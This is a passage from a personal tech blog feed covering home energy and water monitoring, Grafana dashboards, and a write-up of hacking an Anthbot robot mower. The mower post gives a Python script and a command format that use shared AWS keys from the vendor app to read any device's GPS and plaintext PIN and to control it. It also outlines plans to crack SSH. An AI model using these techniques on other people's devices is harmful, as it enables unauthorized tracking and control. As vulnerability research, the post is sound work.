class=\u0022hl-value\u0022\u003E\u0026#34;power\u0026#34;\u003C\/span\u003E\u003Cspan class=\u0022hl-operator\u0022\u003E,\u003C\/span\u003E\n    \u003Cspan class=\u0022hl-value\u0022\u003E\u0026#34;energy\u0026#34;\u003C\/span\u003E\u003Cspan class=\u0022hl-operator\u0022\u003E,\u003C\/span\u003E\n    \u003Cspan class=\u0022hl-value\u0022\u003E\u0026#34;energy_today\u0026#34;\u003C\/span\u003E\u003Cspan class=\u0022hl-operator\u0022\u003E,\u003C\/span\u003E\n    \u003Cspan class=\u0022hl-value\u0022\u003E\u0026#34;energy_yesterday\u0026#34;\u003C\/span\u003E\u003Cspan class=\u0022hl-operator\u0022\u003E,\u003C\/span\u003E\n    \u003Cspan class=\u0022hl-value\u0022\u003E\u0026#34;current\u0026#34;\u003C\/span\u003E\u003Cspan class=\u0022hl-operator\u0022\u003E,\u003C\/span\u003E\n    \u003Cspan class=\u0022hl-value\u0022\u003E\u0026#34;voltage\u0026#34;\u003C\/span\u003E\u003Cspan class=\u0022hl-operator\u0022\u003E,\u003C\/span\u003E\n    \u003Cspan class=\u0022hl-value\u0022\u003E\u0026#34;linkquality\u0026#34;\u003C\/span\u003E\n  \u003Cspan class=\u0022hl-operator\u0022\u003E]\u003C\/span\u003E\n\u003C\/pre\u003E\n\u003Cp\u003EThe really interesting thing afterwards was the Sankey in Grafana. It now nicely shows how the power flows: PV coming in, what goes to the grid, what the individual devices consume:\u003C\/p\u003E\n\u003Cp\u003E[[img:1]]\u003C\/p\u003E\n\u003Cp\u003EIn the screenshot you can see 2.29 kW of PV production right now, 586 W of consumption and 1.70 kW going to the grid. The interesting one is the \u0026#34;Unbekannt\u0026#34; (unknown) block at 204 W, which is everything that doesn\u0026#039;t have a plug yet. I want to shrink that over time.\u003C\/p\u003E\n\u003Cp\u003EToday I also added water consumption to Grafana, and that has a longer backstory.\u003C\/p\u003E\n\u003Cp\u003EWhen I started with the \u003Ca href=\u0022\/blog\/2026\/04\/13\/flightradar-adsb-feeder\/\u0022\u003ERTL-SDR and the Flightradar setup\u003C\/a\u003E at the beginning of April, I wondered whether you couldn\u0026#039;t also read out the water meter with it. Modern meters transmit their values via wMBus (Wireless M-Bus), a protocol that sits right in the ISM band, which an RTL-SDR can receive without any trouble. The only catch: the telegrams are encrypted and the key sits with the utility company.\u003C\/p\u003E\n\u003Cp\u003ESo on April 13 I sent an email to my city and asked for the key. Today the reply came and I got started right away. The meter is a Kamstrup Multical 21. The \u003Ccode\u003Ewmbusmeters\u003C\/code\u003E image gets the RTL-SDR dongle passed through via Docker and needs \u003Ccode\u003Eprivileged: true\u003C\/code\u003E for it:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003E\u003Cspan class=\u0022hl-keyword\u0022\u003Eservices\u003C\/span\u003E\u003Cspan class=\u0022hl-property\u0022\u003E:\u003C\/span\u003E\n  \u003Cspan class=\u0022hl-keyword\u0022\u003Ewatermeter\u003C\/span\u003E\u003Cspan class=\u0022hl-property\u0022\u003E:\u003C\/span\u003E\n    \u003Cspan class=\u0022hl-keyword\u0022\u003Eimage\u003C\/span\u003E\u003Cspan class=\u0022hl-property\u0022\u003E:\u003C\/span\u003E docker.io\/wmbusmeters\/\u003Cspan class=\u0022hl-keyword\u0022\u003Ewmbusmeters\u003C\/span\u003E:latest\n    \u003Cspan class=\u0022hl-keyword\u0022\u003Eprivileged\u003C\/span\u003E\u003Cspan class=\u0022hl-property\u0022\u003E:\u003C\/span\u003E true\n    \u003Cspan class=\u0022hl-keyword\u0022\u003Edevices\u003C\/span\u003E\u003Cspan class=\u0022hl-property\u0022\u003E:\u003C\/span\u003E\n      \u003Cspan class=\u0022hl-property\u0022\u003E-\u003C\/span\u003E \/dev\/bus\/\u003Cspan class=\u0022hl-keyword\u0022\u003Eusb\u003C\/span\u003E:\/dev\/bus\/usb\n    \u003Cspan class=\u0022hl-keyword\u0022\u003Evolumes\u003C\/span\u003E\u003Cspan class=\u0022hl-property\u0022\u003E:\u003C\/span\u003E\n      \u003Cspan class=\u0022hl-property\u0022\u003E-\u003C\/span\u003E .\/\u003Cspan class=\u0022hl-keyword\u0022\u003Econfig\u003C\/span\u003E:\/wmbusmeters_data\/etc\n      \u003Cspan class=\u0022hl-property\u0022\u003E-\u003C\/span\u003E .\/\u003Cspan class=\u0022hl-keyword\u0022\u003Elogs\u003C\/span\u003E:\/wmbusmeters_data\/logs\n      \u003Cspan class=\u0022hl-property\u0022\u003E-\u003C\/span\u003E .\/influx_write.\u003Cspan class=\u0022hl-keyword\u0022\u003Esh\u003C\/span\u003E:\/wmbusmeters_data\/influx_write.\u003Cspan class=\u0022hl-keyword\u0022\u003Esh\u003C\/span\u003E:ro\n\u003C\/pre\u003E\n\u003Cp\u003EThe \u003Ccode\u003Ewmbusmeters.conf\u003C\/code\u003E says which SDR dongle and which protocol is used - \u003Ccode\u003Et1\u003C\/code\u003E is the wMBus mode that most water meters use:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Edevice\u0026#61;rtlwmbus:t1\nformat\u0026#61;json\nmeterfiles\u0026#61;\/wmbusmeters_data\/logs\/meter_readings\nmeterfilesaction\u0026#61;overwrite\n\u003C\/pre\u003E\n\u003Cp\u003EAnd one config file per meter with the meter ID, type and the key from the utility company:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Ename\u0026#61;main\nid\u0026#61;XXXXXXXX\nkey\u0026#61;********************************\ntype\u0026#61;multical21\n\u003C\/pre\u003E\n\u003Cp\u003E\u003Ccode\u003Ewmbusmeters\u003C\/code\u003E calls a shell script on every new telegram and passes the meter reading, and the script then writes it into InfluxDB:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003E\u003Cspan class=\u0022hl-comment\u0022\u003E#!\/bin\/sh\u003C\/span\u003E\ntotal_m3\u0026#61;\u003Cspan class=\u0022hl-value\u0022\u003E\u0026#34;$1\u0026#34;\u003C\/span\u003E\n[ \u003Cspan class=\u0022hl-generic\u0022\u003E-z\u003C\/span\u003E \u003Cspan class=\u0022hl-value\u0022\u003E\u0026#34;${total_m3}\u0026#34;\u003C\/span\u003E ] \u003Cspan class=\u0022hl-operator\u0022\u003E\u0026amp;\u0026amp;\u003C\/span\u003E \u003Cspan class=\u0022hl-type\u0022\u003Eexit\u003C\/span\u003E \u003Cspan class=\u0022hl-number\u0022\u003E0\u003C\/span\u003E\ncurl \u003Cspan class=\u0022hl-generic\u0022\u003E-s\u003C\/span\u003E \u003Cspan class=\u0022hl-generic\u0022\u003E--max-time\u003C\/span\u003E \u003Cspan class=\u0022hl-number\u0022\u003E10\u003C\/span\u003E \\\n  \u003Cspan class=\u0022hl-generic\u0022\u003E-XPOST\u003C\/span\u003E \u003Cspan class=\u0022hl-value\u0022\u003E\u0026#34;http:\/\/influx:8086\/write?db\u0026#61;vault\u0026amp;u\u0026#61;api\u0026amp;p\u0026#61;****\u0026#34;\u003C\/span\u003E \\\n  \u003Cspan class=\u0022hl-generic\u0022\u003E--data-binary\u003C\/span\u003E \u003Cspan class=\u0022hl-value\u0022\u003E\u0026#34;watermeter,meter\u0026#61;main total_m3\u0026#61;${total_m3}\u0026#34;\u003C\/span\u003E\n\u003C\/pre\u003E\n\u003Cp\u003EOne hour of work.\u003C\/p\u003E\n\u003Cp\u003E[[img:2]]\u003C\/p\u003E\n\u003Cp\u003ETotal meter reading and the trend over the day. Makes sense if you want to see over the long run whether something is dripping somewhere.\u003C\/p\u003E\n","date_published":"2026-04-21T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/anthbot-genie-600-robot-mower-hacked-hardcoded-aws-keys-and-pin-in-plaintext","url":"https:\/\/malura.de\/en\/blog\/anthbot-genie-600-robot-mower-hacked-hardcoded-aws-keys-and-pin-in-plaintext","title":"Anthbot Genie 600 robot mower hacked - hardcoded AWS keys and PIN in plaintext","content_html":"\u003Cblockquote\u003E\n\u003Cp\u003E\u003Cstrong\u003EUpdate, 2026-10-26:\u003C\/strong\u003E This post is getting a lot of new traffic right now, so I re-checked the vulnerability. It has since been closed. The leaked AWS keys are now rejected by AWS IoT with \u003Ccode\u003E403 Forbidden\u003C\/code\u003E, so the device shadow can no longer be accessed. Anthbot appears to have revoked the credentials. Everything below describes the state as of April 2026, when the vulnerability was real and exploitable. It can no longer be reproduced with the old keys today.\u003C\/p\u003E\n\u003C\/blockquote\u003E\n\u003Cp\u003EI bought myself an Anthbot Genie 600 robot mower and wanted to know what it was up to. After a few hours of nmap, tcpdump and Python scripting I had access to the complete device status, all sensor data, and I can send commands. The dumb part is that Anthbot uses \u003Cstrong\u003Ehardcoded AWS credentials\u003C\/strong\u003E in their app that anyone can read out. With those, anyone who knows a serial number can control any Anthbot mower worldwide.\u003C\/p\u003E\n\u003Ch2\u003ECloud-only architecture\u003C\/h2\u003E\n\u003Cp\u003EThe mower has no local API. Everything runs through AWS IoT in Frankfurt (eu-central-1). The device pushes its status into an AWS IoT Device Shadow every 4-5 seconds. The app reads from and writes to this shadow, and the device syncs itself automatically. No direct contact between app and mower needed.\u003C\/p\u003E\n\u003Cp\u003EA Device Shadow is a JSON document in the cloud that mirrors the complete device state. There are two shadows: \u003Ccode\u003Eproperty\u003C\/code\u003E for status and sensor data, \u003Ccode\u003Eservice\u003C\/code\u003E for commands and OTA updates.\u003C\/p\u003E\n\u003Ch2\u003EThe security flaw\u003C\/h2\u003E\n\u003Cp\u003EThe \u003Ca href=\u0022https:\/\/github.com\/vincentjanv\/anthbot_genie_ha\u0022\u003EGitHub repository vincentjanv\/anthbot_genie_ha\u003C\/a\u003E contains \u003Cstrong\u003Ehardcoded AWS access keys\u003C\/strong\u003E that were extracted from the official Anthbot app. These keys allow you to:\u003C\/p\u003E\n\u003Cul\u003E\n\u003Cli\u003E\u003Cstrong\u003ERead\u003C\/strong\u003E the AWS IoT Device Shadow for \u003Cstrong\u003Eany Anthbot device worldwide\u003C\/strong\u003E (only the serial number needs to be known)\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EWrite\u003C\/strong\u003E the Device Shadow (send commands)\u003C\/li\u003E\n\u003Cli\u003ENo S3 access (the firmware is in a separate bucket)\u003C\/li\u003E\n\u003C\/ul\u003E\n\u003Cp\u003EThis is a serious security bug: shared IoT credentials for all devices instead of per-device certificates. Anyone who knows a serial number (e.g. from a photo of the label) can read out and control the device.\u003C\/p\u003E\n\u003Ch2\u003EReading the shadow\u003C\/h2\u003E\n\u003Cp\u003EThe shadow contains everything: battery level, GPS position, WiFi IP, cutting height, mowing schedules. And the \u003Cstrong\u003EPIN code in plaintext\u003C\/strong\u003E.\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003E\u003Cspan class=\u0022hl-keyword\u0022\u003Eimport\u003C\/span\u003E datetime, hashlib, hmac, json, urllib.request\n\nACCESS_KEY \u003Cspan class=\u0022hl-operator\u0022\u003E\u0026#61;\u003C\/span\u003E \u003Cspan class=\u0022hl-value\u0022\u003E\u0026#34;...\u0026#34;\u003C\/span\u003E  \u003Cspan class=\u0022hl-comment\u0022\u003E# siehe github.com\/vincentjanv\/anthbot_genie_ha\u003C\/span\u003E\nSECRET_KEY \u003Cspan class=\u0022hl-operator\u0022\u003E\u0026#61;\u003C\/span\u003E \u003Cspan class=\u0022hl-value\u0022\u003E\u0026#34;...\u0026#34;\u003C\/span\u003E  \u003Cspan class=\u0022hl-comment\u0022\u003E# const.py, EU-Region\u003C\/span\u003E\nREGION \u003Cspan class=\u0022hl-operator\u0022\u003E\u0026#61;\u003C\/span\u003E \u003Cspan class=\u0022hl-value\u0022\u003E\u0026#34;eu-central-1\u0026#34;\u003C\/span\u003E\nHOST \u003Cspan class=\u0022hl-operator\u0022\u003E\u0026#61;\u003C\/span\u003E \u003Cspan class=\u0022hl-value\u0022\u003E\u0026#34;a2bhy9nr7jkgaj-ats.iot.eu-central-1.amazonaws.com\u0026#34;\u003C\/span\u003E\nSN \u003Cspan class=\u0022hl-operator\u0022\u003E\u0026#61;\u003C\/span\u003E \u003Cspan class=\u0022hl-value\u0022\u003E\u0026#34;XXXXXXXXXXXX\u0026#34;\u003C\/span\u003E\n\n\u003Cspan class=\u0022hl-keyword\u0022\u003Edef\u003C\/span\u003E \u003Cspan class=\u0022hl-property\u0022\u003Esign\u003C\/span\u003E(key, msg):\n    \u003Cspan class=\u0022hl-keyword\u0022\u003Ereturn\u003C\/span\u003E hmac.new(key, msg.encode(), hashlib.sha256).digest()\n\n\u003Cspan class=\u0022hl-keyword\u0022\u003Edef\u003C\/span\u003E \u003Cspan class=\u0022hl-property\u0022\u003Eget_sig_key\u003C\/span\u003E(secret, date, region, service):\n    \u003Cspan class=\u0022hl-keyword\u0022\u003Ereturn\u003C\/span\u003E sign(sign(sign(sign((\u003Cspan class=\u0022hl-value\u0022\u003E\u0026#34;AWS4\u0026#34;\u003C\/span\u003E\u003Cspan class=\u0022hl-operator\u0022\u003E\u0026#43;\u003C\/span\u003Esecret).encode(), date), region), service), \u003Cspan class=\u0022hl-value\u0022\u003E\u0026#34;aws4_request\u0026#34;\u003C\/span\u003E)\n\nnow \u003Cspan class=\u0022hl-operator\u0022\u003E\u0026#61;\u003C\/span\u003E datetime.datetime.utcnow()\namz_date \u003Cspan class=\u0022hl-operator\u0022\u003E\u0026#61;\u003C\/span\u003E now.strftime(\u003Cspan class=\u0022hl-value\u0022\u003E\u0026#039;%Y%m%dT%H%M%SZ\u0026#039;\u003C\/span\u003E)\ndate_stamp \u003Cspan class=\u0022hl-operator\u0022\u003E\u0026#61;\u003C\/span\u003E now.strftime(\u003Cspan class=\u0022hl-value\u0022\u003E\u0026#039;%Y%m%d\u0026#039;\u003C\/span\u003E)\npath \u003Cspan class=\u0022hl-operator\u0022\u003E\u0026#61;\u003C\/span\u003E f\u003Cspan class=\u0022hl-value\u0022\u003E\u0026#34;\/things\/{SN}\/shadow\u0026#34;\u003C\/span\u003E\nquery \u003Cspan class=\u0022hl-operator\u0022\u003E\u0026#61;\u003C\/span\u003E \u003Cspan class=\u0022hl-value\u0022\u003E\u0026#34;name\u0026#61;property\u0026#34;\u003C\/span\u003E\npayload_hash \u003Cspan class=\u0022hl-operator\u0022\u003E\u0026#61;\u003C\/span\u003E hashlib.sha256(b\u003Cspan class=\u0022hl-value\u0022\u003E\u0026#34;\u0026#34;\u003C\/span\u003E).hexdigest()\nheaders \u003Cspan class=\u0022hl-operator\u0022\u003E\u0026#61;\u003C\/span\u003E f\u003Cspan class=\u0022hl-value\u0022\u003E\u0026#34;host:{HOST}\\nx-amz-content-sha256:{payload_hash}\\nx-amz-date:{amz_date}\\n\u0026#34;\u003C\/span\u003E\nsigned_headers \u003Cspan class=\u0022hl-operator\u0022\u003E\u0026#61;\u003C\/span\u003E \u003Cspan class=\u0022hl-value\u0022\u003E\u0026#34;host;x-amz-content-sha256;x-amz-date\u0026#34;\u003C\/span\u003E\ncanonical \u003Cspan class=\u0022hl-operator\u0022\u003E\u0026#61;\u003C\/span\u003E f\u003Cspan class=\u0022hl-value\u0022\u003E\u0026#34;GET\\n{path}\\n{query}\\n{headers}\\n{signed_headers}\\n{payload_hash}\u0026#34;\u003C\/span\u003E\ncredential_scope \u003Cspan class=\u0022hl-operator\u0022\u003E\u0026#61;\u003C\/span\u003E f\u003Cspan class=\u0022hl-value\u0022\u003E\u0026#34;{date_stamp}\/{REGION}\/iotdata\/aws4_request\u0026#34;\u003C\/span\u003E\nstring_to_sign \u003Cspan class=\u0022hl-operator\u0022\u003E\u0026#61;\u003C\/span\u003E f\u003Cspan class=\u0022hl-value\u0022\u003E\u0026#34;AWS4-HMAC-SHA256\\n{amz_date}\\n{credential_scope}\\n{hashlib.sha256(canonical.encode()).hexdigest()}\u0026#34;\u003C\/span\u003E\nsig_key \u003Cspan class=\u0022hl-operator\u0022\u003E\u0026#61;\u003C\/span\u003E get_sig_key(SECRET_KEY, date_stamp, REGION, \u003Cspan class=\u0022hl-value\u0022\u003E\u0026#34;iotdata\u0026#34;\u003C\/span\u003E)\nsignature \u003Cspan class=\u0022hl-operator\u0022\u003E\u0026#61;\u003C\/span\u003E hmac.new(sig_key, string_to_sign.encode(), hashlib.sha256).hexdigest()\nauth \u003Cspan class=\u0022hl-operator\u0022\u003E\u0026#61;\u003C\/span\u003E f\u003Cspan class=\u0022hl-value\u0022\u003E\u0026#34;AWS4-HMAC-SHA256 Credential\u0026#61;{ACCESS_KEY}\/{credential_scope}, SignedHeaders\u0026#61;{signed_headers}, Signature\u0026#61;{signature}\u0026#34;\u003C\/span\u003E\nurl \u003Cspan class=\u0022hl-operator\u0022\u003E\u0026#61;\u003C\/span\u003E f\u003Cspan class=\u0022hl-value\u0022\u003E\u0026#34;https:\/\/{HOST}{path}?{query}\u0026#34;\u003C\/span\u003E\nreq \u003Cspan class=\u0022hl-operator\u0022\u003E\u0026#61;\u003C\/span\u003E urllib.request.Request(url, \u003Cspan class=\u0022hl-variable\u0022\u003Eheaders\u003C\/span\u003E\u003Cspan class=\u0022hl-operator\u0022\u003E\u0026#61;\u003C\/span\u003E{\u003Cspan class=\u0022hl-value\u0022\u003E\u0026#34;host\u0026#34;\u003C\/span\u003E: HOST, \u003Cspan class=\u0022hl-value\u0022\u003E\u0026#34;x-amz-date\u0026#34;\u003C\/span\u003E: amz_date, \u003Cspan class=\u0022hl-value\u0022\u003E\u0026#34;x-amz-content-sha256\u0026#34;\u003C\/span\u003E: payload_hash, \u003Cspan class=\u0022hl-value\u0022\u003E\u0026#34;Authorization\u0026#34;\u003C\/span\u003E: auth})\n\u003Cspan class=\u0022hl-keyword\u0022\u003Ewith\u003C\/span\u003E urllib.request.urlopen(req, \u003Cspan class=\u0022hl-variable\u0022\u003Etimeout\u003C\/span\u003E\u003Cspan class=\u0022hl-operator\u0022\u003E\u0026#61;\u003C\/span\u003E\u003Cspan class=\u0022hl-number\u0022\u003E10\u003C\/span\u003E) \u003Cspan class=\u0022hl-keyword\u0022\u003Eas\u003C\/span\u003E r:\n    \u003Cspan class=\u0022hl-type\u0022\u003Eprint\u003C\/span\u003E(json.dumps(json.loads(r.read()), \u003Cspan class=\u0022hl-variable\u0022\u003Eindent\u003C\/span\u003E\u003Cspan class=\u0022hl-operator\u0022\u003E\u0026#61;\u003C\/span\u003E\u003Cspan class=\u0022hl-number\u0022\u003E2\u003C\/span\u003E))\n\u003C\/pre\u003E\n\u003Cp\u003EThe shadow shows me everything: battery level 100%, status \u0026#34;charge\u0026#34;, GPS coordinates, mapped area 517m\u00b2, cutting height 50mm, mowing schedule for every day 21:00-08:00. And, of course, the PIN code.\u003C\/p\u003E\n\u003Ch2\u003ESending commands\u003C\/h2\u003E\n\u003Cp\u003EYou write commands into the service shadow:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003EPOST \/things\/SN\/shadow?name\u0026#61;service\n\u003Cspan class=\u0022hl-property\u0022\u003E{\u003C\/span\u003E\n  \u003Cspan class=\u0022hl-keyword\u0022\u003E\u0026#34;state\u0026#34;\u003C\/span\u003E: \u003Cspan class=\u0022hl-property\u0022\u003E{\u003C\/span\u003E\n    \u003Cspan class=\u0022hl-keyword\u0022\u003E\u0026#34;desired\u0026#34;\u003C\/span\u003E: \u003Cspan class=\u0022hl-property\u0022\u003E{\u003C\/span\u003E\n      \u003Cspan class=\u0022hl-keyword\u0022\u003E\u0026#34;cmd\u0026#34;\u003C\/span\u003E: \u003Cspan class=\u0022hl-value\u0022\u003E\u0026#34;mow_start\u0026#34;\u003C\/span\u003E,\n      \u003Cspan class=\u0022hl-keyword\u0022\u003E\u0026#34;data\u0026#34;\u003C\/span\u003E: 1\n    \u003Cspan class=\u0022hl-property\u0022\u003E}\u003C\/span\u003E\n  \u003Cspan class=\u0022hl-property\u0022\u003E}\u003C\/span\u003E\n\u003Cspan class=\u0022hl-property\u0022\u003E}\u003C\/span\u003E\n\u003C\/pre\u003E\n\u003Cp\u003EKnown commands: \u003Ccode\u003Emow_start\u003C\/code\u003E, \u003Ccode\u003Estop_all_tasks\u003C\/code\u003E, \u003Ccode\u003Echarge_start\u003C\/code\u003E, \u003Ccode\u003Eparam_set\u003C\/code\u003E for cutting height, \u003Ccode\u003Evolume_ctl\u003C\/code\u003E for volume. The device polls the shadow every few seconds and executes the commands.\u003C\/p\u003E\n\u003Ch2\u003ESSH not cracked yet\u003C\/h2\u003E\n\u003Cp\u003EPort 22 is open (Dropbear SSH, Linux), but I don\u0026#039;t have the password yet. Tried all the default credentials, nothing works. The next step would be UART access: open up the device, find the UART pins, hook up a USB-UART adapter, and capture the bootloader output. Or download the firmware via phone MITM and analyze it with binwalk.\u003C\/p\u003E\n\u003Ch2\u003EMonitoring is running\u003C\/h2\u003E\n\u003Cp\u003EI have a Python script that polls the shadow every 30 seconds and writes it into InfluxDB. It runs as a systemd service on my \u003Ca href=\u0022\/blog\/2026\/04\/16\/grafana-dashboards-aufgeteilt-adsb-erweitert\/\u0022\u003Ehomelab server\u003C\/a\u003E. Battery level, mowing time, GPS position, maintenance status, all in Grafana.\u003C\/p\u003E\n\u003Cp\u003E[[img:1]]\u003C\/p\u003E\n\u003Ch2\u003EWhat\u0026#039;s still to come\u003C\/h2\u003E\n\u003Cul\u003E\n\u003Cli\u003EDownload and unpack the \u003Ccode\u003E.MowerPack\u003C\/code\u003E firmware\u003C\/li\u003E\n\u003Cli\u003EDetermine the SSH password via UART\u003C\/li\u003E\n\u003Cli\u003EExamine the camera feed (the thing has a camera!)\u003C\/li\u003E\n\u003Cli\u003EReport the security flaw to Anthbot\u003C\/li\u003E\n\u003Cli\u003ECheck whether the keys really give access to all Anthbot devices\u003C\/li\u003E\n\u003C\/ul\u003E\n\u003Cp\u003EUntil then: my mower is under monitoring and I can control it with a Python script.\u003C\/p\u003E\n","date_published":"2026-04-17T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/splitting-up-grafana-dashboards-and-building-an-ads-b-wind-rose","url":"https:\/\/malura.de\/en\/blog\/splitting-up-grafana-dashboards-and-building-an-ads-b-wind-rose","title":"Splitting Up Grafana Dashboards and Building an ADS-B Wind Rose","content_html":"\u003Cp\u003EMy Grafana dashboard was one single giant page with everything crammed in: server stats, Fritzbox, heating, power, PV - all in collapsed rows. It was annoying to navigate. So I spent an afternoon and split the thing into 5 specialized dashboards. Along the way I noticed that my heating\u0026#039;s burner starts are suspiciously high, but that\u0026#039;s a different story.\u003C\/p\u003E\n\u003Ch2\u003EDashboard Rework\u003C\/h2\u003E\n\u003Cp\u003EThe monolithic dashboard had gotten cluttered. Whenever I wanted to look up heating data I first had to expand 5 collapsed rows and scroll around. So I took an afternoon and split the whole thing into thematic dashboards.\u003C\/p\u003E\n\u003Cp\u003EWhat came out of it are 5 dashboards: Vault Server with CPU, RAM, ZFS and disk I\/O. Internet \u0026amp; Fritzbox with WAN throughput and WLAN clients. Heating with boiler, Zigbee thermometers and oil consumption. Power consumption with grid and daily balance. PV system with feed-in and string data. A few panels I cross-referenced, since power consumption is relevant in both the heating and the PV dashboard.\u003C\/p\u003E\n\u003Cp\u003EGrafana runs as a Docker container behind Traefik on \u003Ccode\u003Egrafana.malura.org\u003C\/code\u003E. I scripted the rework through the Grafana HTTP API - created a service account token and uploaded the dashboard JSON via \u003Ccode\u003Ecurl\u003C\/code\u003E. Saves time when you\u0026#039;re moving a lot of dashboards around.\u003C\/p\u003E\n\u003Cp\u003E[[img:4]]\u003C\/p\u003E\n\u003Ch2\u003EADS-B Wind Rose: Visualizing Reception Direction\u003C\/h2\u003E\n\u003Cp\u003E\u003Ca href=\u0022\/blog\/2026\/04\/13\/flightradar-adsb-feeder\/\u0022\u003EMy ADS-B feeder\u003C\/a\u003E has been running for a few days now and logs aircraft data into InfluxDB. The dashboard already had aircraft tracking, but I wanted to see which direction I receive the most signals from. The \u003Ccode\u003Eoperato-windrose-panel\u003C\/code\u003E plugin needs exactly the fields \u003Ccode\u003Ewind_direction\u003C\/code\u003E and \u003Ccode\u003Ewind_speed\u003C\/code\u003E. Annoyingly, the \u003Ccode\u003Etrack\u003C\/code\u003E field shows the flight heading, not the reception direction.\u003C\/p\u003E\n\u003Cp\u003ESo I built the bearing calculation directly into my Python logger (\u003Ccode\u003Eadsb_influx.py\u003C\/code\u003E):\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003E\u003Cspan class=\u0022hl-keyword\u0022\u003Efrom\u003C\/span\u003E math \u003Cspan class=\u0022hl-keyword\u0022\u003Eimport\u003C\/span\u003E radians, degrees, atan2, sin, cos\n\n\u003Cspan class=\u0022hl-keyword\u0022\u003Edef\u003C\/span\u003E \u003Cspan class=\u0022hl-property\u0022\u003Ecalculate_bearing\u003C\/span\u003E(lat1, lon1, lat2, lon2):\n    dLon \u003Cspan class=\u0022hl-operator\u0022\u003E\u0026#61;\u003C\/span\u003E radians(lon2 \u003Cspan class=\u0022hl-operator\u0022\u003E-\u003C\/span\u003E lon1)\n    lat1, lat2 \u003Cspan class=\u0022hl-operator\u0022\u003E\u0026#61;\u003C\/span\u003E radians(lat1), radians(lat2)\n    \n    x \u003Cspan class=\u0022hl-operator\u0022\u003E\u0026#61;\u003C\/span\u003E sin(dLon) \u003Cspan class=\u0022hl-operator\u0022\u003E*\u003C\/span\u003E cos(lat2)\n    y \u003Cspan class=\u0022hl-operator\u0022\u003E\u0026#61;\u003C\/span\u003E cos(lat1) \u003Cspan class=\u0022hl-operator\u0022\u003E*\u003C\/span\u003E sin(lat2) \u003Cspan class=\u0022hl-operator\u0022\u003E-\u003C\/span\u003E sin(lat1) \u003Cspan class=\u0022hl-operator\u0022\u003E*\u003C\/span\u003E cos(lat2) \u003Cspan class=\u0022hl-operator\u0022\u003E*\u003C\/span\u003E cos(dLon)\n    \n    bearing \u003Cspan class=\u0022hl-operator\u0022\u003E\u0026#61;\u003C\/span\u003E degrees(atan2(x, y))\n    \u003Cspan class=\u0022hl-keyword\u0022\u003Ereturn\u003C\/span\u003E (bearing \u003Cspan class=\u0022hl-operator\u0022\u003E\u0026#43;\u003C\/span\u003E \u003Cspan class=\u0022hl-number\u0022\u003E360\u003C\/span\u003E) \u003Cspan class=\u0022hl-operator\u0022\u003E%\u003C\/span\u003E \u003Cspan class=\u0022hl-number\u0022\u003E360\u003C\/span\u003E\n\n\u003Cspan class=\u0022hl-comment\u0022\u003E# Receiver-Position aus Config\u003C\/span\u003E\nreceiver_lat, receiver_lon \u003Cspan class=\u0022hl-operator\u0022\u003E\u0026#61;\u003C\/span\u003E MY_LAT, MY_LON\n\nbearing \u003Cspan class=\u0022hl-operator\u0022\u003E\u0026#61;\u003C\/span\u003E calculate_bearing(receiver_lat, receiver_lon, aircraft_lat, aircraft_lon)\n\u003C\/pre\u003E\n\u003Cp\u003ENew InfluxDB fields: \u003Ccode\u003Ebearing\u003C\/code\u003E (0-360\u00b0) and \u003Ccode\u003Edistance_km\u003C\/code\u003E. Query for the wind rose:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003E\u003Cspan class=\u0022hl-keyword\u0022\u003ESELECT\u003C\/span\u003E \u0026#34;\u003Cspan class=\u0022hl-value\u0022\u003Ebearing\u003C\/span\u003E\u0026#34; \u003Cspan class=\u0022hl-keyword\u0022\u003EAS\u003C\/span\u003E \u0026#34;\u003Cspan class=\u0022hl-value\u0022\u003Ewind_direction\u003C\/span\u003E\u0026#34;, \u0026#34;\u003Cspan class=\u0022hl-value\u0022\u003Edistance_km\u003C\/span\u003E\u0026#34; \u003Cspan class=\u0022hl-keyword\u0022\u003EAS\u003C\/span\u003E \u0026#34;\u003Cspan class=\u0022hl-value\u0022\u003Ewind_speed\u003C\/span\u003E\u0026#34; \n\u003Cspan class=\u0022hl-keyword\u0022\u003EFROM\u003C\/span\u003E \u0026#34;\u003Cspan class=\u0022hl-value\u0022\u003Eadsb_aircraft\u003C\/span\u003E\u0026#34; \n\u003Cspan class=\u0022hl-keyword\u0022\u003EWHERE\u003C\/span\u003E $timeFilter\n\u003C\/pre\u003E\n\u003Cp\u003EWorks. Most aircraft come in from the south-west.\u003C\/p\u003E\n\u003Cp\u003E[[img:3]]\u003C\/p\u003E\n\u003Cp\u003E[[img:1]]\u003C\/p\u003E\n\u003Cp\u003E[[img:2]]\u003C\/p\u003E\n\u003Ch2\u003ELearnings: What Didn\u0026#039;t Work\u003C\/h2\u003E\n\u003Cul\u003E\n\u003Cli\u003E\u003Cstrong\u003EBarchart panel type crashes\u003C\/strong\u003E in Grafana 13 with time series -\u0026gt; use \u003Ccode\u003Etimeseries\u003C\/code\u003E with \u003Ccode\u003EdrawStyle: \u0026#34;bars\u0026#34;\u003C\/code\u003E\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EPlotly plugin\u003C\/strong\u003E (\u003Ccode\u003Eae3e-plotly-panel\u003C\/code\u003E) has cryptic syntax -\u0026gt; native panels are more robust\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EDynamic Text plugin\u003C\/strong\u003E crashes on Handlebars with umlauts -\u0026gt; use stat panels in a grid layout\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003E\u003Ccode\u003EfilterByValue\u003C\/code\u003E transformation\u003C\/strong\u003E sometimes filtered out ALL the data -\u0026gt; split queries as an alternative\u003C\/li\u003E\n\u003C\/ul\u003E\n\u003Cp\u003EIn the end I now have 5 dashboards instead of 1, ADS-B with a wind rose, and a couple of plugin disappointments. But everything runs cleanly through the API now and is 